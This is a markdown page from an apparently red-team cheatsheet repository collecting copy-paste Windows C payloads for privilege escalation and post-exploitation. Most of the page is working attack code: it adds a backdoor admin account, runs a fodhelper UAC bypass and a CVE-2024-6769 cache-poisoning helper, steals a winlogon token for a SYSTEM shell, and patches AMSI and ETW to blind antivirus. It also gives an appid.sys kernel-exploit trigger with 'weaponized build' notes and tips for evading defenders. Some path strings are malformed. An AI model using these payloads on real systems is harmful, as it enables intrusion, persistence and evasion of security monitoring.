daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

windows-c-payloads.md (15312B)


      1 ---
      2 title: "Windows C Payloads"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Windows C Payloads
     14 
     15 This page collects **small, self-contained C snippets** that are handy during Windows Local Privilege Escalation or post-exploitation.  Each payload is designed to be **copy-paste friendly**, requires only the Windows API / C runtime, and can be compiled with `i686-w64-mingw32-gcc` (x86) or `x86_64-w64-mingw32-gcc` (x64).
     16 
     17 > ⚠️  These payloads assume that the process already has the minimum privileges necessary to perform the action (e.g. `SeDebugPrivilege`, `SeImpersonatePrivilege`, or medium-integrity context for a UAC bypass).  They are intended for **red-team or CTF settings** where exploiting a vulnerability has landed arbitrary native code execution.
     18 
     19 ---
     20 
     21 ## Add local administrator user
     22 
     23 ```c
     24 // i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
     25 #include <stdlib.h>
     26 int main(void) {
     27     system("net user hacker Hacker123! /add");
     28     system("net localgroup administrators hacker /add");
     29     return 0;
     30 }
     31 ```
     32 
     33 ---
     34 
     35 ## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
     36 When the trusted binary **`fodhelper.exe`** is executed, it queries the registry path below **without filtering the `DelegateExecute` verb**.  By planting our command under that key an attacker can bypass UAC *without* dropping a file to disk.<sup>[[1]](#references)</sup>
     37 
     38 *Registry path queried by `fodhelper.exe`*
     39 ```text
     40 HKCU\Software\Classes\ms-settings\Shell\Open\command
     41 ```
     42 A minimal PoC that pops an elevated `cmd.exe`:
     43 
     44 ```c
     45 // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
     46 #define _CRT_SECURE_NO_WARNINGS
     47 #include <windows.h>
     48 #include <stdlib.h>
     49 #include <stdio.h>
     50 #include <string.h>
     51 
     52 int main(void) {
     53     HKEY hKey;
     54     const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
     55 
     56     // 1. Create the vulnerable registry key
     57     if (RegCreateKeyExA(HKEY_CURRENT_USER,
     58         "Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
     59         KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
     60 
     61         // 2. Set default value => our payload
     62         RegSetValueExA(hKey, NULL, 0, REG_SZ,
     63             (const BYTE*)payload, (DWORD)strlen(payload) + 1);
     64 
     65         // 3. Empty "DelegateExecute" value = trigger (")
     66         RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
     67             (const BYTE*)"", 1);
     68 
     69         RegCloseKey(hKey);
     70 
     71         // 4. Launch auto-elevated binary
     72         system("fodhelper.exe");
     73     }
     74     return 0;
     75 }
     76 ```
     77 *Tested on Windows 10 22H2 and Windows 11 23H2 (July 2025 patches). The bypass still works because Microsoft has not fixed the missing integrity check in the `DelegateExecute` path.*
     78 
     79 ---
     80 
     81 ## UAC Bypass – Activation Context Cache Poisoning (`ctfmon.exe`, CVE-2024-6769)
     82 Drive remapping + activation context cache poisoning still works against patched Windows 10/11 builds because `ctfmon.exe` runs as a high-integrity trusted UI process that happily loads from the caller’s impersonated `C:` drive and reuses whatever DLL redirections `CSRSS` has cached. Abuse goes as follows: re-point `C:` at attacker-controlled storage, drop a trojanized `msctf.dll`, launch `ctfmon.exe` to gain high integrity, then ask `CSRSS` to cache a manifest that redirects a DLL used by an auto-elevated binary (e.g., `fodhelper.exe`) so the next launch inherits your payload without a UAC prompt.<sup>[[5]](#references)</sup>
     83 
     84 Practical workflow:
     85 1. Prepare a fake `%SystemRoot%\System32` tree and copy the legitimate binary you plan to hijack (often `ctfmon.exe`).
     86 2. Use `DefineDosDevice(DDD_RAW_TARGET_PATH)` to remap `C:` inside your process, keeping `DDD_NO_BROADCAST_SYSTEM` so the change stays local.
     87 3. Drop your DLL + manifest into the fake tree, call `CreateActCtx/ActivateActCtx` to push the manifest into the activation-context cache, then launch the auto-elevated binary so it resolves the redirected DLL straight into your shellcode.
     88 4. Delete the cache entry (`sxstrace ClearCache`) or reboot when finished to erase attacker fingerprints.
     89 
     90 <details>
     91 <summary>C - Fake drive + manifest poison helper (CVE-2024-6769)</summary>
     92 
     93 ```c
     94 #define WIN32_LEAN_AND_MEAN
     95 #include <windows.h>
     96 #include <shlwapi.h>
     97 #pragma comment(lib, "shlwapi.lib")
     98 
     99 BOOL WriteWideFile(const wchar_t *path, const wchar_t *data) {
    100     HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    101     if (h == INVALID_HANDLE_VALUE) return FALSE;
    102     DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t));
    103     BOOL ok = WriteFile(h, data, bytes, &bytes, NULL);
    104     CloseHandle(h);
    105     return ok;
    106 }
    107 
    108 int wmain(void) {
    109     const wchar_t *stage = L"C:\\Users\\Public\\fakeC\\Windows\\System32";
    110     SHCreateDirectoryExW(NULL, stage, NULL);
    111     CopyFileW(L"C:\\Windows\\System32\\ctfmon.exe", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\ctfmon.exe", FALSE);
    112     CopyFileW(L".\\msctf.dll", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll", FALSE);
    113 
    114     DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM,
    115                      L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
    116 
    117     const wchar_t manifest[] =
    118         L"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
    119         L"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
    120         L" <dependency><dependentAssembly>"
    121         L"  <assemblyIdentity name='Microsoft.Windows.Common-Controls' version='6.0.0.0'"
    122         L"   processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*' />"
    123         L"  <file name='advapi32.dll' loadFrom='C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll' />"
    124         L" </dependentAssembly></dependency></assembly>";
    125     WriteWideFile(L"C:\\Users\\Public\\fakeC\\payload.manifest", manifest);
    126 
    127     ACTCTXW act = { sizeof(act) };
    128     act.lpSource = L"C:\\Users\\Public\\fakeC\\payload.manifest";
    129     ULONG_PTR cookie = 0;
    130     HANDLE ctx = CreateActCtxW(&act);
    131     ActivateActCtx(ctx, &cookie);
    132 
    133     STARTUPINFOW si = { sizeof(si) };
    134     PROCESS_INFORMATION pi = { 0 };
    135     CreateProcessW(L"C:\\Windows\\System32\\ctfmon.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    136 
    137     WaitForSingleObject(pi.hProcess, 2000);
    138     DefineDosDeviceW(DDD_REMOVE_DEFINITION, L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
    139     return 0;
    140 }
    141 ```
    142 
    143 </details>
    144 
    145 Cleanup tip: after popping SYSTEM, call `sxstrace Trace -logfile %TEMP%\sxstrace.etl` followed by `sxstrace Parse` when testing—if you see your manifest name in the log, defenders can too, so rotate paths each run.
    146 
    147 ---
    148 
    149 ## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
    150 If the current process holds **both** `SeDebug` and `SeImpersonate` privileges (typical for many service accounts), you can steal the token from `winlogon.exe`, duplicate it, and start an elevated process:
    151 
    152 ```c
    153 // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
    154 #include <windows.h>
    155 #include <tlhelp32.h>
    156 #include <stdio.h>
    157 
    158 DWORD FindPid(const wchar_t *name) {
    159     PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    160     HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    161     if (snap == INVALID_HANDLE_VALUE) return 0;
    162     if (!Process32FirstW(snap, &pe)) return 0;
    163     do {
    164         if (!_wcsicmp(pe.szExeFile, name)) {
    165             DWORD pid = pe.th32ProcessID;
    166             CloseHandle(snap);
    167             return pid;
    168         }
    169     } while (Process32NextW(snap, &pe));
    170     CloseHandle(snap);
    171     return 0;
    172 }
    173 
    174 int wmain(void) {
    175     DWORD pid = FindPid(L"winlogon.exe");
    176     if (!pid) return 1;
    177 
    178     HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    179     HANDLE hToken  = NULL, dupToken = NULL;
    180 
    181     if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
    182         DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
    183 
    184         STARTUPINFOW si = { .cb = sizeof(si) };
    185         PROCESS_INFORMATION pi = { 0 };
    186         if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
    187                 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
    188                 NULL, NULL, &si, &pi)) {
    189             CloseHandle(pi.hProcess);
    190             CloseHandle(pi.hThread);
    191         }
    192     }
    193     if (hProc) CloseHandle(hProc);
    194     if (hToken) CloseHandle(hToken);
    195     if (dupToken) CloseHandle(dupToken);
    196     return 0;
    197 }
    198 ```
    199 For a deeper explanation of how that works see:
    200 
    201 [Sedebug + Seimpersonate Copy Token](/hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-seimpersonate-copy-token)
    202 
    203 ---
    204 
    205 ## In-Memory AMSI & ETW Patch (Defence Evasion)
    206 Most modern AV/EDR engines rely on **AMSI** and **ETW** to inspect malicious behaviours.  Patching both interfaces early inside the current process prevents script-based payloads (e.g. PowerShell, JScript) from being scanned.<sup>[[2]](#references)</sup>
    207 
    208 ```c
    209 // gcc -o patch_amsi.exe patch_amsi.c -lntdll
    210 #define _CRT_SECURE_NO_WARNINGS
    211 #include <windows.h>
    212 #include <stdio.h>
    213 
    214 void Patch(BYTE *address) {
    215     DWORD oldProt;
    216     // mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
    217     BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    218     VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    219     memcpy(address, patch, sizeof(patch));
    220     VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
    221 }
    222 
    223 int main(void) {
    224     HMODULE amsi  = LoadLibraryA("amsi.dll");
    225     HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    226 
    227     if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
    228     if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
    229 
    230     MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
    231     return 0;
    232 }
    233 ```
    234 *The patch above is process-local; spawning a new PowerShell after running it will execute without AMSI/ETW inspection.*
    235 
    236 ---
    237 
    238 ## Create child as Protected Process Light (PPL)
    239 Request a PPL protection level for a child at creation time using `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. This is a documented API and will only succeed if the target image is signed for the requested signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb).<sup>[[3]](#references)[[4]](#references)</sup>
    240 
    241 ```c
    242 // x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
    243 #include <windows.h>
    244 
    245 int wmain(void) {
    246     STARTUPINFOEXW si = {0};
    247     PROCESS_INFORMATION pi = {0};
    248     si.StartupInfo.cb = sizeof(si);
    249 
    250     SIZE_T attrSize = 0;
    251     InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    252     si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
    253     InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
    254 
    255     DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
    256     UpdateProcThreadAttribute(si.lpAttributeList, 0,
    257         PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
    258         &lvl, sizeof(lvl), NULL, NULL);
    259 
    260     if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
    261                         EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
    262         // likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
    263         return 1;
    264     }
    265     DeleteProcThreadAttributeList(si.lpAttributeList);
    266     HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    267     CloseHandle(pi.hThread);
    268     CloseHandle(pi.hProcess);
    269     return 0;
    270 }
    271 ```
    272 
    273 Levels used most commonly:
    274 - `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
    275 - `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
    276 - `PROTECTION_LEVEL_LSA_LIGHT` (4)
    277 
    278 Validate the result with Process Explorer/Process Hacker by checking the Protection column.
    279 
    280 ---
    281 
    282 ## Local Service -> Kernel via `appid.sys` Smart-Hash (`IOCTL 0x22A018`, CVE-2024-21338)
    283 `appid.sys` exposes a device object (`\\.\\AppID`) whose smart-hash maintenance IOCTL accepts user-supplied function pointers whenever the caller runs as `LOCAL SERVICE`; Lazarus is abusing that to disable PPL and load arbitrary drivers, so red teams should have a ready-made trigger for lab use.<sup>[[6]](#references)</sup>
    284 
    285 Operational notes:
    286 - You still need a `LOCAL SERVICE` token. Steal it from `Schedule` or `WdiServiceHost` using `SeImpersonatePrivilege`, then impersonate before touching the device so ACL checks pass.
    287 - IOCTL `0x22A018` expects a struct containing two callback pointers (query length + read function). Point both at user-mode stubs that craft a token overwrite or map ring-0 primitives, but keep the buffers RWX so KernelPatchGuard does not crash mid-chain.
    288 - After success, drop out of impersonation and revert the device handle; defenders now look for unexpected `Device\\AppID` handles, so close it immediately once privilege is gained.
    289 
    290 <details>
    291 <summary>C - Skeleton trigger for `appid.sys` smart-hash abuse</summary>
    292 
    293 ```c
    294 #define WIN32_LEAN_AND_MEAN
    295 #include <windows.h>
    296 #include <stdio.h>
    297 
    298 typedef struct _APPID_SMART_HASH {
    299     ULONGLONG UnknownCtx[4];
    300     PVOID QuerySize;   // called first
    301     PVOID ReadBuffer;  // called with size returned above
    302     BYTE  Reserved[0x40];
    303 } APPID_SMART_HASH;
    304 
    305 DWORD WINAPI KernelThunk(PVOID ctx) {
    306     // map SYSTEM shellcode, steal token, etc.
    307     return 0;
    308 }
    309 
    310 int wmain(void) {
    311     HANDLE hDev = CreateFileW(L"\\\\.\\AppID", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    312     if (hDev == INVALID_HANDLE_VALUE) {
    313         printf("[-] CreateFileW failed: %lu\n", GetLastError());
    314         return 1;
    315     }
    316 
    317     APPID_SMART_HASH in = {0};
    318     in.QuerySize = KernelThunk;
    319     in.ReadBuffer = KernelThunk;
    320 
    321     DWORD bytes = 0;
    322     if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) {
    323         printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
    324     }
    325     CloseHandle(hDev);
    326     return 0;
    327 }
    328 ```
    329 
    330 </details>
    331 
    332 Minimal fix-up for a weaponized build: map an RWX section with `VirtualAlloc`, copy your token duplication stub there, set `KernelThunk = section`, and once `DeviceIoControl` returns you should be SYSTEM even under PPL.
    333 
    334 ---
    335 
    336 ## References
    337 
    338 - [1] [First entry: Welcome and fileless UAC bypass (fodhelper.exe / ms-settings DelegateExecute)](https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)
    339 - [2] [Memory Patching AMSI Bypass](https://rastamouse.me/memory-patching-amsi-bypass/)
    340 - [3] [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
    341 - [4] [UpdateProcThreadAttribute function (Win32 apps) - Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
    342 - [5] [Novel Exploit Chain Enables Windows UAC Bypass](https://www.darkreading.com/vulnerabilities-threats/exploit-chain-windows-uac-bypass)
    343 - [6] [Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day](https://www.gendigital.com/blog/insights/research/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day)